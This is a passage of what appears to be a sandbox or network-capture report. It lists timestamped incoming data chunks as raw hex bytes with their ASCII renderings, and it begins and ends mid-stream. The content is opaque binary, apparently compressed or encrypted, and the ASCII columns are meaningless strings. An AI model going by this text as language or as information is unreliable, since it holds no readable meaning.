9d a0 f5 c1 76 c9 00 7e 9e 61 06 f4 0b 6c 2a b7 51 b7 56 18 2d ab 7e b4 50 Data Ascii: As-HV2l#$QGJA' 7YMXo=bj"_d%q:>a-lLVAUAu(umG!z>EJK= ;PG)u:M- gx3i!?DZRwx=zz~V-A\|8!`T7%Kt\|BL)bADM] 'v~alQV-~P
2023-05-31 10:22:22 UTC	4244	IN	Data Raw: c8 d9 2d a8 d8 e8 84 c6 d1 ac ab 8d e6 f8 0e 99 d5 d9 33 b1 25 2a 58 2b 46 3b 1f 34 de 7c 45 84 d1 65 c2 c8 bd 9e 61 d4 f5 c3 18 eb 1b 1f d8 fc cf d4 7c ba cb d8 fc 0a 35 9f 05 cd ab fe 66 7f 71 de e7 ef e2 cc 8d 1f 2c 98 32 72 73 00 c5 dc e1 0d 18 c4 e2 2f b8 e9 43 ab ff c3 84 e6 df d4 41 8d f0 ab a7 5b 73 65 08 7e 0b 3b d3 da a2 af 89 15 08 ff e5 01 63 1e f0 d9 84 78 29 21 de ae 15 9d fc f5 96 f7 30 48 eb 3a 8d d8 73 5a ea 6b c1 ba d0 d1 17 7d 05 e1 6d 27 ae 4f c3 19 90 8e 95 f7 45 72 04 c1 8e 5a a1 46 48 df 02 ef 8d f7 2f 74 68 8e c5 42 cb df e5 7e cc ff d7 96 4a 50 ff 9d 9d 9e ae 28 8a 29 fb 39 62 9d 3a cb 88 f5 42 c2 ba 86 b0 8e 22 ac e7 65 fa c3 7a b0 d6 7f d8 27 f0 98 90 17 1c 1c 37 c3 77 d7 97 5c 5f cc d3 9c 85 f6 51 ef 3e db da b0 8c 5f 8f 6b 5e Data Ascii: -3%*X+F;4\|Eea\|5fq,2rs/CA[se~;cx)!0H:sZk}m'OErZFH/thB~JP()9b:B"ez'7w\_Q>_k^
2023-05-31 10:22:22 UTC	4260	IN	Data Raw: 90 57 13 f7 09 be 13 32 71 bf 7c 8f fc 55 88 34 81 b6 7d e8 49 9c aa 3d 9f b1 0a 64 25 7b 88 c0 3a 23 ec 4b 9e 15 ba c2 d3 20 33 b8 f9 9f 52 ff 2c 63 65 f8 71 4d d7 e3 cc f8 2c ae 97 29 02 88 98 92 85 b7 72 d0 de d1 ff 8b f6 08 e1 51 68 7d 80 b8 97 f3 00 d2 12 7e 85 42 ee 5b 7f ee 84 84 fc 40 79 25 a1 27 67 0a f4 6b 04 22 2c 45 38 58 e5 b1 c1 1c ad 57 a7 37 60 33 63 70 da ec 13 40 49 e4 4b 1b 04 ce 47 fc 8e 92 b9 0d 0e ab f7 e7 06 d7 32 70 9a 68 51 f3 1f ec 93 a2 2b 08 1b 63 82 ac 46 6c cc 6d 45 39 8b f4 84 b2 09 8b b5 ca 62 21 ad 58 10 85 e3 72 95 56 f4 31 c4 27 6e 8c 51 b5 62 a1 0e 52 73 b0 21 7b 1f 83 a1 7e 63 4c 87 56 4c 25 6d 08 9b e9 df d8 c7 60 a6 df 18 d3 2e 8b b1 36 75 38 92 d7 26 36 a8 6a e2 39 69 32 2a 5c f7 ee 63 af 11 f5 a8 69 b5 2f f3 e7 5e Data Ascii: W2q\|U4}I=d%{:#K 3R,ceqM,)rQh}~B[@y%'gk",E8XW7`3cp@IKG2phQ+cFlmE9b!XrV1'nQbRs!{~cLVL%m`.6u8&6j9i2*\ci/^
2023-05-31 10:22:22 UTC	4263	IN	Data Raw: 5e d9 b5 a8 ad 43 e9 f8 30 82 70 53 85 ee 8e 15 9e 4f a7 04 ba 93 3d ae a4 98 18 77 72 0b a8 15 dd c9 8d ec 5f a4 3b 79 1f d9 23 c9 2f 0c a2 74 dd a9 76 09 fc 6d 52 a8 fe 5e e5 d0 c3 dd e8 a6 cc dc 9a 01 af 52 14 45 dc e8 33 60 39 00 1f c5 03 60 b9 69 27 bf ec 6f 70 ed 8e b5 e2 fe de a1 34 78 b1 f0 84 9c b5 55 fb e2 8d 21 bc 4b fe a1 c2 b9 eb 74 7b 87 fc dd 07 ed a3 86 68 71 e1 e9 f3 91 4e fd fe dd 43 d4 68 d8 db 67 18 b8 1c 73 27 d8 50 03 c6 12 69 78 44 d8 89 02 af c9 11 06 cf 26 19 c8 ca 2d 7c 2d 3b 1e 00 d7 63 3c d7 0c 21 a9 79 d2 cf 1e c3 93 30 b0 17 51 9d 39 d8 4e 30 72 40 75 48 76 80 5c b3 8f 63 10 3d 0a b2 8b 27 57 3b 45 bb 02 18 a7 08 99 43 3c ab 92 33 9b 8f 85 4a 0a a2 9b 15 4a 82 64 4a 1c 7d b7 99 91 97 b6 f9 71 61 0f ed 4b b6 f0 c9 0d 73 91 cb Data Ascii: ^C0pSO=wr_;y#/tvmR^RE3`9`i'op4xU!Kt{hqNChgs'PixD&-\|-;c<!y0Q9N0r@uHv\c='W;EC<3JJdJ}qaKs
2023-05-31 10:22:22 UTC	4265	IN	Data Raw: dc 97 03 06 79 31 4f d6 0e c2 59 80 0b fe 03 35 11 8e 10 6c 3c 81 0d dc ae 05 9b 4e 60 87 01 d8 8d 7b 64 b0 4c 0c 0d a1 c3 c3 8d af a0 76 ed e8 f9 f4 fb 8e 12 0a 20 d5 40 4a aa 4d e2 54 12 69 64 2b 52 bd 88 9c 47 e9 30 4f 23 cc 1b 5e 63 98 e3 38 66 74 1e 6b 9f 09 29 0c f3 c7 7e 0b fd 83 10 70 9f d8 43 02 6a 83 a1 cf 9d 54 c2 36 55 87 6d 26 61 bb 09 b0 ed fe 3c 9a eb 21 e9 9d 6e 93 ac 5e 5f ec 16 7e dd d8 8f 79 f0 83 d4 27 f4 55 4f cd e9 cf 49 54 6c 30 74 c0 bd 6b a1 31 35 f3 89 9a cd a5 8c 9a 1b 89 1a 68 b7 7c c5 8a be b0 3d 62 bb f5 f7 05 3d 8f 40 cf d4 81 5e 48 a0 a7 00 e8 43 f5 5c 95 0c e7 12 8c 0c ec 78 13 7b 75 a8 d1 52 14 41 10 1f d7 41 b4 13 c4 00 80 58 58 4f 03 15 63 04 62 2f 7f 5b 1e fc 92 0e 84 83 40 d4 ac 61 20 ee a8 17 5c 46 fa f8 06 d2 c7 df Data Ascii: y1OY5l<N`{dLv @JMTid+RG0O#^c8ftk)~pCjT6Um&a<!n^_~y'UOITl0tk15h\|=b=@^HC\x{uRAAXXOcb/[@a \F
2023-05-31 10:22:22 UTC	4281	IN	Data Raw: 98 df 79 db aa a1 be 12 44 05 f5 31 03 3d a7 2a 2b 3b 23 2a 9b 70 5d 62 65 15 5b 46 aa 6e 80 cd 71 36 cc e8 0b 43 8e ae bd 22 46 87 ed be 11 fe 4c d1 0a fb 69 79 fd 98 00 88 df c0 06 8b da 6b 61 cd 44 32 a3 c9 ff 23 bf 3f 9d 65 e8 d9 37 7c 04 57 5f 6e dc 2f 7c 1c c4 21 3d 9a 8f c7 c1 6c 54 93 b9 65 6f 94 10 15 95 f2 dc 79 64 44 b3 d9 d9 43 d8 d9 0e 5f 9a fb c0 d1 b4 a7 1c 60 ff 55 79 a9 37 9a 7e 81 aa 16 94 15 69 3b c2 14 ed f6 dd 84 e8 71 ee 14 bc 8c d8 27 3b 09 5b fc 72 77 4a d5 4a f1 72 37 bd 04 f8 ca e1 02 dd bd 0f 14 99 d5 f9 1d 9a f7 b2 55 5d f0 1b 9c 14 ef a1 f7 88 fe 5b 1a 84 3d df 84 70 9c 72 6c c5 88 94 63 ab 22 53 0e ad 4c 0a 68 86 80 77 7c e3 f5 57 ea bd 11 8e 6a 54 c1 d0 00 46 02 55 8c c1 d7 b2 55 93 84 49 09 c3 57 1e 9e 1c 60 2c 99 81 9d 78 Data Ascii: yD1=+;#p]be[Fnq6C"FLiykaD2#?e7\|W_n/\|!=lTeoydDC_`Uy7~i;q';[rwJJr7U][=prlc"SLhw\|WjTFUUIW`,x
2023-05-31 10:22:22 UTC	4297	IN	Data Raw: 58 d2 2b 68 4c f8 4b 9b ac 57 30 71 61 7f af ce 5a 1a 04 6b 69 25 ce 5a cc d9 ef d3 c4 3d 21 4c 14 7e 16 14 77 0b 8e 3a 4e e6 a8 b3 2e e3 1c b5 d8 c4 51 c7 49 1c f5 9a ad c4 51 6f 16 0c 7b 44 c5 da 7a c1 b6 31 fa fa df 6e 23 b6 7d 29 42 6c 44 99 23 43 b2 82 58 2e 9c 3f 4f 4b 8a aa 41 af 09 9e cb 58 66 2f b1 22 f2 be 6e 83 66 f3 9d 48 bb 27 39 cf ed 39 22 78 6e b5 ad e7 f7 0a 97 40 f7 cb 40 5f c1 23 64 c9 e5 98 1b 46 30 38 2b 63 7b 85 7d d0 b8 0f b9 e6 f4 fe b8 e6 5d 84 ee 32 81 6e 35 47 f7 88 11 dd 5d e5 67 e4 93 83 fb 34 c3 35 e4 47 0e ce 74 cc 7c ca c1 4d c8 58 7d ae cc 57 1d 41 ce 74 2a e3 99 9c 25 aa 95 51 b6 fd 14 69 89 5b 8f 60 c4 8d 76 2d 49 07 98 80 aa 7e c1 ac 74 45 c9 de 35 6e 5d 51 22 98 95 ce ea 9a d6 18 58 dd 6a 13 ab db b4 c6 c0 ea ca 4d ac Data Ascii: X+hLKW0qaZki%Z=!L~w:N.QIQo{Dz1n#})BlD#CX.?OKAXf/"nfH'99"xn@@_#dF08+c{}]2n5G]g45Gt\|MX}WAt*%Qi[`v-I~tE5n]Q"XjM
2023-05-31 10:22:22 UTC	4313	IN	Data Raw: 72 8b 2f 9e 65 3c 46 49 9e 73 21 b2 98 f5 3c ed 43 e8 a7 3b 13 9a 32 ca 1f 84 44 7f 51 5b 0e d3 26 9b 51 b7 cd c4 fa ca 26 8b b9 d5 5e 44 d6 22 a2 3c 7c ef 8f 48 f6 c9 c1 ff a2 f2 2c 0a 97 9c 8e 38 b2 fb ad d0 96 05 7a 6a 0c 74 7b 66 e8 37 4e df 22 95 3b ef 9d d2 ed da a5 cf 56 99 a2 8c 45 97 73 c9 1f ce 71 ec c3 60 ce 72 0c d9 86 77 00 22 af 6b 08 5a 7b e5 2c 55 cf 97 e2 d4 ca e7 ab d5 f3 d5 f8 99 c8 e7 6b d5 f3 b5 f0 7c a4 7c 9e af 9e e7 c3 f3 9e 33 43 34 a3 66 85 c3 aa fc 1a c4 33 a4 64 ae 12 6b 27 f5 f7 bc ad 25 de ef c4 e5 bb b0 91 28 88 38 10 4d 0a a6 15 87 2f 79 04 52 a1 7f 17 88 a6 97 1e 3e f6 4d 69 44 88 5b 92 cc ad e3 77 6c a5 4d 9c fb 31 a0 33 46 fd 38 d0 1b 57 3a 25 45 bb 5f df 01 0d dd de 92 29 ac 8f 74 7a b4 c8 83 33 56 f6 3d b7 3c a7 2f d0 Data Ascii: r/e<FIs!<C;2DQ[&Q&^D"<\|H,8zjt{f7N";VEsq`rw"kZ{,Uk\|\|3C4f3dk'%(8M/yR>MiD[wlM13F8W:%E_)tz3V=</
2023-05-31 10:22:22 UTC	4329	IN	Data Raw: 30 63 00 a0 8b 90 68 8b 46 42 c5 62 57 32 83 06 36 56 0e 2c 85 bc cb d3 5e e4 10 0c 75 b5 a5 7e 04 fa de a4 f6 f4 3d 2b 46 63 df c1 c0 2f 4a a0 1f 73 77 02 6b 28 23 8c 14 46 09 9d 06 22 49 cb 6d a8 e8 05 4f dd 46 37 a6 88 48 52 46 3a 49 14 30 9e 0a 46 37 6f 12 aa 2e 78 1a 57 4b 89 64 11 3c b1 48 24 d0 91 84 7d 3c c4 c3 33 a0 43 7e 5a 15 14 c4 78 05 81 28 6e 92 d4 e4 c7 a3 77 72 6f bc 46 7b cf de ee 92 a8 42 86 08 52 9d f3 a2 ec 42 8d 22 f0 94 5b 05 9e 0a 0c 5b 34 19 e2 73 43 2c 3e a2 15 16 81 07 7d 44 cb d5 cd 3f f4 36 c5 47 14 65 13 53 31 1f 39 44 51 cc a3 4c 4f cf 57 77 b4 c7 70 99 55 59 f4 14 62 2f 35 64 e6 97 5a c7 69 7e 68 d1 3a 9a 59 50 6b a9 c0 b7 0d 42 b4 2e 41 d1 1a 13 7b 65 54 0b cd e1 ec 86 3a 4f 93 03 36 e3 0b f8 8d df 9b 11 84 7b 70 98 58 5c Data Ascii: 0chFBbW26V,^u~=+Fc/Jswk(#F"ImOF7HRF:I0F7o.xWKd<H$}<3C~Zx(nwroF{BRB"[[4sC,>}D?6GeS19DQLOWwpUYb/5dZi~h:YPkB.A{eT:O6{pX\
2023-05-31 10:22:22 UTC	4343	IN	Data Raw: 38 d3 a8 7f a3 16 f1 04 1a a5 32 ad 1f 97 ca 49 24 21 ef 91 84 8c 68 cb a9 32 7c 06 23 fe 1e 77 9c 4e d7 dd 77 45 b7 2b 3c d6 a3 85 8b da f2 0a 1a a9 66 c4 be 10 aa 46 1d 40 d0 75 82 04 73 71 8f df ab 1b 5f b8 5d 3e fd 28 a7 51 3d 4a a3 7a ea 71 a8 7f ba 54 4d 55 41 aa 31 ac ca 5c 01 dd 4a f0 ac 05 32 bc c7 09 5e 67 80 b7 61 a9 a2 1a cb 7d f8 96 4f 26 72 38 a5 3a 38 33 08 ce b7 d3 19 9c 49 02 2f 8d 66 7c db 07 62 2b 08 60 b5 0e 60 06 01 cc 05 80 6d 96 b6 a4 19 ad 42 33 86 ba 73 c2 08 ff 69 fb 5a d0 8c 61 2f f1 6f d5 99 28 93 aa 46 a6 19 7b 71 cd 18 a8 91 e9 36 a4 19 a3 cd 06 51 d5 97 0f 22 e3 25 79 10 39 34 88 ed 8f b1 41 8c 72 99 68 c6 0c c2 f7 9d 2a a1 19 b1 c3 ba aa eb bd 9b b0 a1 85 b1 5c 6b 50 14 23 e9 45 3a 21 c7 22 88 8a 82 68 63 a6 20 b8 6a 30 34 Data Ascii: 82I$!h2\|#wNwE+<fF@usq_]>(Q=JzqTMUA1\J2^ga}O&r8:83I/f\|b+``mB3siZa/o(F{q6Q"%y94Arh*\kP#E:!"hc j04
2023-05-31 10:22:22 UTC	4356	IN	Data Raw: a9 29 d4 65 bf e0 40 b4 56 d0 99 41 a3 e2 ee 51 3c 81 80 91 3a 73 40 e4 c5 dd bb 8e 77 b5 54 ef 6f a6 40 8c 0c b0 e6 66 06 58 44 a7 3f 2d 69 f3 5d 30 09 26 3a dd 49 3d 63 ba ac 5d bd a4 8d cb 54 8d 0c 5a f3 f5 d0 d8 07 4e 33 7e 0a 94 08 9a 54 53 3c 4e fa 1a 8e 32 0e 48 a4 b5 fc 17 93 5f f6 6a c2 0d 18 d1 99 0f df 0c 12 bc 82 51 68 fb 85 49 26 83 db 5f 17 4b 37 6e ba 48 2a df bc 64 9c 00 6c 87 30 62 20 72 77 24 5b 2f 47 8e 90 25 66 00 1b d9 be 78 22 df ae 5d 79 ee 6c 29 57 ab 32 89 27 6a 67 01 4b 87 83 b2 3e 4b 4e 67 c8 71 63 84 40 4f b5 85 bf 83 a5 da 37 59 85 03 0d 3e b3 7d 8a 9f e2 5d de 20 d7 75 09 f5 ff 9d 8c 4a f1 8a fc e5 26 62 7b 70 a9 85 57 9d d2 56 d5 0b 97 44 d5 2d fc 8a 45 8f 49 bc 4a 24 70 6f a2 35 c4 0f 3a 7c 5e b9 24 34 32 f0 a7 04 54 99 3f Data Ascii: )e@VAQ<:s@wTo@fXD?-i]0&:I=c]TZN3~TS<N2H_jQhI&_K7nH*dl0b rw$[/G%fx"]yl)W2'jgK>KNgqc@O7Y>}] uJ&b{pWVD-EIJ$po5:\|^$42T?
2023-05-31 10:22:22 UTC	4372	IN	Data Raw: b1 61 41 1b 74 65 54 4c 70 15 bf d7 81 81 3a 10 54 91 93 ef 3c 23 ed 4d b8 88 41 03 36 7a b9 a4 98 df 59 18 a5 55 c7 da 7d d3 7f ad ac d4 8f 2f e2 96 0a 28 61 49 cd 78 d9 e4 1d d1 d3 2f 5a fb dd 8f d1 ad 06 1c ab da 67 af 59 8c b8 e0 54 2c 8a f3 68 01 26 d0 02 0c e8 c2 16 e0 97 b4 50 1a 5e 3b 02 cf d8 ab 82 4f 24 f0 68 00 ff 3c 2d ce 14 bd e8 00 5d c3 0d 41 23 6c 0d 41 0f 14 9a 86 20 d4 dd a6 ce 33 cc 56 e9 66 8b 3d 54 eb 8b 86 45 99 a8 a5 13 fe 96 02 d9 e0 73 ef 3a 34 e6 ce 50 28 d6 e7 98 3d c5 ac a1 1f f6 74 eb 7c de a9 d8 d3 8b 69 e2 d3 69 e2 b7 75 86 f8 d7 c1 a1 e8 56 75 4e 25 bb 00 ff 98 c0 7f eb c4 c0 87 0f 8e 33 ab f6 fd 24 26 04 69 59 a0 ac c8 c1 01 bd 8f 1a 69 66 c1 ef 7a 97 de 35 65 af fa ae 99 f4 ae 57 e1 5d a7 07 a1 6e eb 85 f4 97 72 99 9c bc Data Ascii: aAteTLp:T<#MA6zYU}/(aIx/ZgYT,h&P^;O$h<-]A#lA 3Vf=TEs:4P(=t\|iiuVuN%3$&iYifz5eW]nr
2023-05-31 10:22:22 UTC	4388	IN	Data Raw: ae 05 32 dd 33 eb 54 ef 9e 2d a2 7b 5e dd 88 dd 63 81 48 cc c2 5d 10 bc 44 17 cb 52 ee 96 bd eb 5f f7 6c d8 a5 95 cd 0f 37 33 39 0c 1c bd b7 c1 08 2a 7c 13 4d a6 f4 1e f8 48 4d 39 1b a7 29 59 a2 29 98 3e 05 37 9c 76 61 2c 99 ee b9 68 8f 5d fb fb 14 da 9c 51 45 e7 ab fc ce 36 f6 c5 21 ed 02 dc e5 98 08 f1 28 87 0b ee c3 d0 fb 4b 9e 93 0b d5 46 0a 1d a3 69 7a aa f9 77 7e d9 0d 37 67 0c 27 b2 0a 01 4b f2 3b db ff 23 02 1e e3 04 0c 55 d7 89 08 8c ef b7 7c e4 89 82 47 d9 14 b9 9a 27 b7 c0 36 36 a7 25 d2 5a d7 dc 4e 6b 5d ad 9d 62 5b ae 5e 35 2e 7a 9d ed 64 89 f7 dc d6 ca 54 6c 41 3b 2c 88 ac ed 62 81 9b c6 9e d0 15 c7 3b 44 be 4b 67 4f b8 c5 e3 9d 2c df 65 ca a7 22 f9 94 23 9f ec f2 29 55 3e 8d 95 4f d3 c5 13 39 4c b4 ef 65 d3 81 d7 85 c1 28 d0 00 ca fb 39 86 Data Ascii: 23T-{^cH]DR_l739*\|MHM9)Y)>7va,h]QE6!(KFizw~7g'K;#U\|G'66%ZNk]b[^5.zdTlA;,b;DKgO,e"#)U>O9Le(9
2023-05-31 10:22:22 UTC	4404	IN	Data Raw: 67 41 f5 af fa e0 0d bc 35 0a c5 2b 71 f7 2c 32 5e a8 e4 6b de 76 3f 26 22 95 d3 b4 40 da 52 67 a5 a2 dd 31 89 7d 75 53 2c 4a f8 bd 31 fe 0b b7 34 48 ef f5 ff bc 5d 7f 5c 55 55 b6 bf 17 50 d1 0b 5e 24 34 12 1d 1d a5 f2 95 9a 94 af a7 4f b3 fb 79 79 9f a8 58 54 90 60 68 fe 24 2b 75 f0 75 99 ac 48 b1 0b 25 21 85 96 93 bd cc 87 93 f5 b0 d1 c6 d2 49 26 7f 44 0e 19 16 4d 54 a4 8c 43 7a 33 cc 8b 30 45 e5 4f a0 ee ec f5 63 9f b3 cf b9 e7 82 bc 3f de e7 d3 27 39 fb 9e b3 f7 da 6b ef bd f6 da 6b af f5 5d ba 77 db 2d 7d 14 ef 36 c2 53 69 20 30 95 55 9b c1 5d 5a 71 5e fb 2e 46 71 5e 03 d7 42 65 d4 e6 6f ea 0a 42 94 23 11 9a d6 e3 c7 3e 15 2d 07 ae b6 8b dc 67 b2 bd 4f 9c b1 e0 59 d2 1f 88 67 3d a7 10 cf 26 33 cf de 63 9e 0d f9 4a f0 ec f5 de 83 30 ca c9 93 e4 dc e3 Data Ascii: gA5+q,2^kv?&"@Rg1}uS,J14H]\UUP^$4OyyXT`h$+uuH%!I&DMTCz30EOc?'9kk]w-}6Si 0U]Zq^.Fq^BeoB#>-gOYg=&3cJ0
2023-05-31 10:22:22 UTC	4420	IN	Data Raw: e7 ee e4 dc ff 6f 01 50 75 97 a6 52 4d fb 09 d6 79 be 50 c4 c9 de 18 85 91 b9 9f 34 aa e7 8f f4 84 78 f8 01 77 85 67 53 7c 15 0a 2a e3 d7 35 67 61 cf 61 38 0b bf a9 e4 87 1c a0 dc 00 c4 53 0b ac 52 47 3f 6c 2a a3 a6 f3 07 7a 42 ea 78 54 7f 70 89 ee de 77 c6 c4 f2 7e 8e 83 30 4c 0d c8 1b 74 20 67 25 5a f1 ef 02 d8 04 1d 61 b2 36 be 00 98 77 09 01 dc f5 9b 8b ba 19 97 5c d0 77 df 1b df b5 4b 62 e5 1c c4 2f 06 b0 b3 0d 5e 24 ca de 35 d1 61 62 c8 93 af b4 85 cf bd da be e6 ec b0 26 98 b3 7b 4a 4b f6 48 64 97 09 5b 85 e9 04 88 fb 77 4c 16 38 ed 33 0c 3d 59 7d 0d af 7e 55 14 32 0c 9b ec 3d 68 10 a1 82 1c 13 8d e4 88 51 37 fd 7b fd 42 00 bd 6e 35 31 27 4e 31 c0 83 9c 3b 02 ec 3a 23 d8 34 75 b6 2c f2 83 58 60 6b bb 67 81 45 df 29 b9 4e 9a 3a 42 f6 ce 30 34 b3 2d Data Ascii: oPuRMyP4xwgS\|5gaa8SRG?lzBxTpw~0Lt g%Za6w\wKb/^$5ab&{JKHd[wL83=Y}~U2=hQ7{Bn51'N1;:#4u,X`kgE)N:B04-
2023-05-31 10:22:22 UTC	4436	IN	Data Raw: 00 3a ce 09 6b 3b 5e ab 09 2b f9 a4 ce 09 eb de eb ec bb 01 82 e9 07 78 9d 1f 72 24 60 5b 5c c7 6b a3 b8 8b d1 17 e5 c0 7a 42 ce 48 bd 0e 74 ee a5 e9 d2 ff 51 f6 f4 71 55 55 d9 9e 8b a0 70 01 2f 15 29 21 06 a5 96 25 d3 c3 91 31 0c 2a a6 b8 89 65 85 06 49 93 4d 56 fa b2 49 cb 7a 60 3a 83 7a ed 8a 03 bf eb 35 66 9e 9a 2f d1 b0 30 d1 c1 a2 fc ac a0 10 29 f8 95 ef c5 7b 8f 99 c1 b2 17 af e1 8d 97 b9 94 4c f9 2b fc bc 6f af 8f 7d ce 3e f7 dc 7b 75 fe 81 73 cf 5e 67 ed b5 bf d6 5e 6b ed b5 d7 5a 36 42 2c 1a 31 c7 a6 b3 7b e9 bd 6b 61 19 cb e8 55 33 f8 8e e2 fd 3c 5f 7d 21 e6 eb b8 31 d2 37 6b 0c 45 90 c2 c3 e0 ce 04 f2 52 6d 84 a3 d0 1e 5a 6c b3 e5 c3 0c 7c 80 55 27 da 51 05 0e 8f e0 9f 2b d6 5b c5 3f 61 09 dc 54 3f ca 7c 28 43 d9 a3 4f 1e 4c 55 42 6b 51 04 74 Data Ascii: :k;^+xr$`[\kzBHtQqUUp/)!%1*eIMVIz`:z5f/0){L+o}>{us^g^kZ6B,1{kaU3<_}!17kERmZl\|U'Q+[?aT?\|(COLUBkQt
2023-05-31 10:22:22 UTC	4452	IN	Data Raw: 0f a6 9d d0 48 8a 11 ef aa fe 0b fa 0a 1c 74 3d e5 6e 40 a7 54 22 31 50 9f 1d a5 6f 6c d0 3e 1d 5b 35 a0 f5 6a af d7 47 cf 82 eb a4 7e d7 53 74 c4 b7 83 02 5f 8b 9a 01 a8 89 99 63 ab 02 ce fd da 47 d0 f7 5a 3d 9e 32 6d a1 d3 d5 0e 51 ad 0a 20 57 8b 44 3b 42 ae 02 c8 ed 0a e4 b6 70 c8 ad 0a e4 56 84 2c e8 41 47 c8 3a 42 9e db 9b f8 ba 16 d0 0e d4 ec 73 d5 5e e8 fc 1b 6a c3 16 6c c3 76 6c 43 5f e2 7e 3a 84 11 2f af e7 97 4b e8 11 08 b4 3e 3e 8a 9c 78 8d 6d 85 47 e7 6b da 1e 58 44 d8 ad 08 ca ec 82 6f c3 fa 14 fc f7 e7 12 1d 48 ea 8b f6 bb 36 83 d7 a2 45 fb cb 63 16 f5 b9 ee 05 af e5 48 e6 a1 44 ec a5 af ac 2d 61 bd f4 95 f5 ff d7 d7 4b 9e 67 8d 5e aa 9c 26 7a 28 7a 51 9f 95 09 80 ab 93 d0 1f 27 7d bd e4 54 27 aa 35 03 e4 16 91 a8 45 c8 cd 00 b9 56 81 bc 2d Data Ascii: Ht=n@T"1Pol>[5jG~St_cGZ=2mQ WD;BpV,AG:Bs^jlvlC_~:/K>>xmGkXDoH6EcHD-aKg^&z(zQ'}T'5EV-
2023-05-31 10:22:22 UTC	4466	IN	Data Raw: ab a6 c1 37 92 5b 3a fa 9a 65 d8 40 01 16 93 61 03 69 95 5c 4c df 10 02 90 d6 19 33 f1 2e 65 c6 48 8f eb b9 fd 8e 83 f5 aa 37 f4 9d 7b d4 34 bf b4 7a 86 68 31 b0 5c 9e 66 76 87 66 88 25 8e cf bc 07 c3 99 4d 57 90 c7 df d8 78 5e 0e df 97 cc 84 6d 62 c2 fe 84 b9 e5 b4 39 82 5b 1e bd 13 2d 4a ee d4 3d b8 27 51 6e 17 f7 a6 1a 18 e4 2a 33 b2 2e a6 d8 43 66 31 b2 e6 6d c1 a9 dc a9 a2 db e9 0a d9 30 e1 4b 3c a4 a0 f4 14 0f 62 63 e2 93 e6 9d 09 46 60 00 e9 bd 60 17 c7 f4 db a9 fa cb 99 b0 8b f7 e3 bd f0 42 e8 f8 c1 c1 e1 d8 d2 2f f6 1e 20 5d b9 fc 58 2c 0f ce f9 71 36 c3 78 e2 bc db d5 30 a0 39 6b 4c 4b 48 80 13 28 23 65 86 bf 60 a7 61 03 c1 98 00 d2 e6 f6 fc 02 d2 8a fa d9 e2 4f 7b 61 3c 7e 2a 78 07 1d 28 89 e1 03 e1 0d 36 73 95 73 ec 14 3b 95 9d 45 8e 40 fd 16 Data Ascii: 7[:e@ai\L3.eH7{4zh1\fvf%MWx^mb9[-J='Qn3.Cf1m0K<bcF``B/ ]X,q6x09kLKH(#e`aO{a<~x(6ss;E@
2023-05-31 10:22:22 UTC	4482	IN	Data Raw: 6f 68 5c 20 79 b4 45 a4 7c b8 39 b8 48 b9 ef de 0b 8a 86 eb ad 52 58 49 88 3a f2 ea 65 fa 34 19 cd 14 ac 39 b3 74 89 e9 12 88 45 8c d6 99 71 16 0f b0 b1 a1 31 11 fd 22 cb 72 20 d0 fd 3f d3 55 cb d0 d1 4a 2e 1e 4b af 97 fe 3d 78 af 9b e6 5c b0 d7 7f b4 f6 fa d9 39 41 44 55 1c a6 7b a6 62 7f 7d 4b ae 8c 0e d2 bf ec 39 c1 8f 6f 98 d0 8e ee 06 dc b9 27 e4 39 62 d0 9a 08 31 59 96 65 57 c1 b2 53 9e 6f 9d c0 57 3b ad 82 28 d7 5a 4b c3 27 46 a3 30 a9 48 90 af a0 3d 24 4b 90 fe c6 ac 7b f2 2e 44 f9 42 26 ca 80 2e 12 17 1e ed 22 47 dd 8c 18 d4 6f f4 70 b0 88 18 f5 b2 c2 39 2f c2 b8 f3 71 51 f0 3a 85 7b b7 7e 10 fc 0c 54 ff 41 f0 a1 8b 09 8d 2c 54 1f 63 1d ba d6 d9 81 86 ae 0a 78 1d cc a6 f8 f3 34 9b 0e 27 81 10 a1 49 be 61 b3 14 ef 4e 86 62 9b 2c 8e b0 14 af c7 da Data Ascii: oh\ yE\|9HRXI:e49tEq1"r ?UJ.K=x\9ADU{b}K9o'9b1YeWSoW;(ZK'F0H=$K{.DB&."Gop9/qQ:{~TA,Tcx4'IaNb,
2023-05-31 10:22:22 UTC	4498	IN	Data Raw: 75 ca 3e 37 21 a9 d9 5a bf 9a e4 be e4 44 3f 58 1b 29 b8 96 55 fd 49 e7 1b a1 f5 10 a0 b5 26 17 44 2f 50 0b 4b b1 da 49 d4 ee 66 d1 72 30 5a 93 d4 06 80 eb da f3 d5 85 ce be ac ad b5 d8 10 bc fe 8e 55 7a 6f 55 4b 68 b6 6c e9 f1 ef f8 eb 2b 35 01 5d 59 35 d0 9e 13 04 b7 f7 23 5b 88 87 7c 99 c9 7c 12 6f eb c7 82 68 5b 0f aa 16 3c e4 be c8 16 04 01 de 6c 0d 6d 6e 9e a7 63 7f f5 ef 28 6f 8a fe 9a 4e db 14 17 a4 66 1c fd b8 6d f7 3e ec 94 1b 9d de a2 e2 27 17 df 56 18 6c 11 7e fb 26 be ad 31 de e2 b7 19 f8 b6 16 93 ae 05 a3 c9 5a 19 2a 8c 82 61 e6 95 c4 aa b8 d1 b3 df 36 2b 65 a2 8d fe db 73 ae ec c2 24 9d 92 dc ec 15 94 12 42 87 b0 99 df 9a 00 e5 68 a0 2f 06 8e 76 ca c7 55 e6 8f 67 42 a0 93 8e 3f d0 ad 3b c0 a8 71 8d 51 63 da 28 5a f2 05 51 3e 16 2c cc e3 ca Data Ascii: u>7!ZD?X)UI&D/PKIfr0ZUzoUKhl+5]Y5#[\|\|oh[<lmnc(oNfm>'Vl~&1Z*a6+es$Bh/vUgB?;qQc(ZQ>,
2023-05-31 10:22:22 UTC	4514	IN	Data Raw: 15 ce 65 81 aa 3d 71 07 93 56 9f ab b3 3c 02 87 ff d5 2a ee 05 e6 53 6d 5a 32 97 e1 bd 06 19 7e 9c 64 b8 fb 36 26 c3 4f cc c6 f3 70 fc 53 6a 7d c1 d5 c8 13 18 24 b0 4f 0e 30 60 23 1c ab 53 0e 47 a1 fa d6 ae a1 b7 d0 b6 dc c3 05 8f 3b 6d 58 94 a2 74 9e 62 52 ae 6e 19 ab d9 96 ed 81 33 fd 94 f2 5d a0 94 c4 de 25 31 09 81 fa ef 5f cf 18 ec a7 b8 81 0a b9 41 7c 6c df 7b 25 91 91 43 7d 77 ac e3 7d 7f 8d fa 7e ee 56 d6 77 cf ac 78 56 ca 5e 3b af 1e 36 54 af a5 ea 8d 50 7d 2c 56 6f 30 a9 1e a4 ea ff 34 54 df 4c d5 57 41 f5 a4 59 fc 34 18 dd b6 46 07 15 93 6d 8d 0e f1 15 a0 